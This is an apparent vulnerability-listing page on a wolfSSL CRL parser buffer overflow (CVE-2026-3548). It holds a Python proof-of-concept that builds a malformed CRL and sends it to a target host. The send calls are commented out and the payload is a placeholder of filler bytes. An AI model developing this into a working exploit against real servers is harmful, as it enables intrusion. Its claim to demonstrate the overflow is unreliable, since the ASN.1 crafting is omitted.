CVE-2026-3548 wolfSSL CRL解析器缓冲区溢出漏洞

# PoC for CVE-2026-3548 (Conceptual) # This script demonstrates how to generate a malformed CRL # that could trigger the buffer overflow in wolfSSL. import socket import struct def create_malformed_crl(): """ Creates a crafted CRL with an oversized CRL Number extension. Real exploitation requires precise ASN.1 structure crafting. """ print("[*] Crafting malicious CRL data...") # This is a simplified representation. # A real CRL is complex ASN.1 data. We simulate a large # integer in the CRL Number extension field. header = b"\x30\x82\x00\x01" # Placeholder for SEQUENCE header # ... (Other CRL fields omitted for brevity) ... # Malicious extension: Opaque Octet String simulating overflow # In a real scenario, this triggers the hex string conversion overflow overflow_payload = b"A" * 1000 return header + overflow_payload def send_exploit(target_ip, target_port): payload = create_malformed_crl() try: print(f"[*] Connecting to {target_ip}:{target_port}...") # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((target_ip, target_port)) # s.send(payload) # s.close() print("[+] Payload sent (Simulation)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": TARGET = "192.168.1.10" PORT = 443 send_exploit(TARGET, PORT)